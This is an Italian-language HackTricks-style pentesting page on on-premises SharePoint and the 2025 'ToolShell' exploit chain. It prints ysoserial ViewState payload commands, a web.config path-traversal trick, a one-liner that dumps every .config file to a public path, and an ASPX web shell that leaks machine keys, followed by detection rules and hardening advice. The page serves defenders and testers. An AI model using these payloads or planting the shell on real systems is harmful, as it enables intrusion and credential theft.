127 lines
6.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (on-premises) è costruito su ASP.NET/IIS. La maggior parte della superficie di attacco web classica (ViewState, Web.Config, web shells, ecc.) è quindi presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e servizi web che ampliano notevolmente la superficie di attacco esposta. Questa pagina raccoglie trucchi pratici per enumerare, sfruttare e persistere all'interno degli ambienti SharePoint con enfasi sulla catena di exploit 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Code Injection on ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` consente l'inserimento di codice *Server-Side Include* arbitrario nella pagina che viene successivamente compilata da ASP.NET. Un attaccante può incorporare C# che esegue `Process.Start()` e inserire un ViewState malevolo.
### 2.2 CVE-2025-49706 Improper Authentication Bypass
La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, la MFA/SSO imposta nel sito principale può essere bypassata **senza autenticazione**.
### 2.3 CVE-2025-53770 Unauthenticated ViewState Deserialization → RCE
Una volta che l'attaccante controlla un gadget in `ToolPane.aspx`, può inviare un valore `__VIEWSTATE` **non firmato** (o solo MAC) che attiva la deserializzazione .NET all'interno di *w3wp.exe*, portando all'esecuzione di codice.
Se la firma è abilitata, rubare il **ValidationKey/DecryptionKey** da qualsiasi `web.config` (vedi 2.4) e forgiare il payload con *ysoserial.net* o *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
Per una spiegazione approfondita su come abusare di ASP.NET ViewState leggi:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Path Traversal / divulgazione di web.config
Inviare un parametro `Source` creato a `ToolPane.aspx` (ad es. `../../../../web.config`) restituisce il file mirato, consentendo la fuga di:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forgiare i cookie ViewState / ASPXAUTH
* stringhe di connessione e segreti.
## 3. Ricette di post-sfruttamento osservate in natura
### 3.1 Esfiltrare ogni file *.config* (variazione-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
Il file risultante `debug_dev.js` può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili.
### 3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2)
```
powershell.exe -EncodedCommand <base64>
```
Esempio di payload decodificato (abbreviato):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Scritto a:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
La shell espone endpoint per **leggere / ruotare le chiavi della macchina** che consente di forgiare i cookie ViewState e ASPXAUTH attraverso la farm.
### 3.3 Variante offuscata (variazione-3)
Stessa shell ma:
* posizionata sotto `...\15\TEMPLATE\LAYOUTS\`
* nomi delle variabili ridotti a lettere singole
* `Thread.Sleep(<ms>)` aggiunto per evasione della sandbox e bypass basato sul timing.
## 4. Idee di rilevamento
| Telemetria | Perché è sospetta |
|------------|-------------------|
| `w3wp.exe → cmd.exe` | Il processo worker dovrebbe raramente generare una shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Modello classico di lolbin |
| Eventi di file che creano `debug_dev.js` o `spinstall0.aspx` | IOCs direttamente da ToolShell |
| `ProcessCmdLine CONTIENE ToolPane.aspx` (log ETW/Modulo) | PoC pubbliche invocano questa pagina |
Esempio di regola XDR / Sysmon (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Indurimento e Mitigazione
1. **Patch** Gli aggiornamenti di sicurezza di luglio 2025 risolvono *tutti* e quattro i CVE.
2. **Ruotare** ogni `<machineKey>` e i segreti di `ViewState` dopo una compromissione.
3. Rimuovere il permesso di scrittura *LAYOUTS* dai gruppi `WSS_WPG` e `WSS_ADMIN_WPG`.
4. Bloccare l'accesso esterno a `/_layouts/15/ToolPane.aspx` a livello di proxy/WAF.
5. Abilitare **ViewStateUserKey**, **MAC abilitato** e *EventValidation* personalizzato.
## Trucchi correlati
* Post-sfruttamento di IIS e abuso di web.config:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Riferimenti
- [Unit42 Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC Catena di sfruttamento ToolShell](https://github.com/real-or-not/ToolShell)
- [Avviso di sicurezza Microsoft CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Avviso di sicurezza Microsoft CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}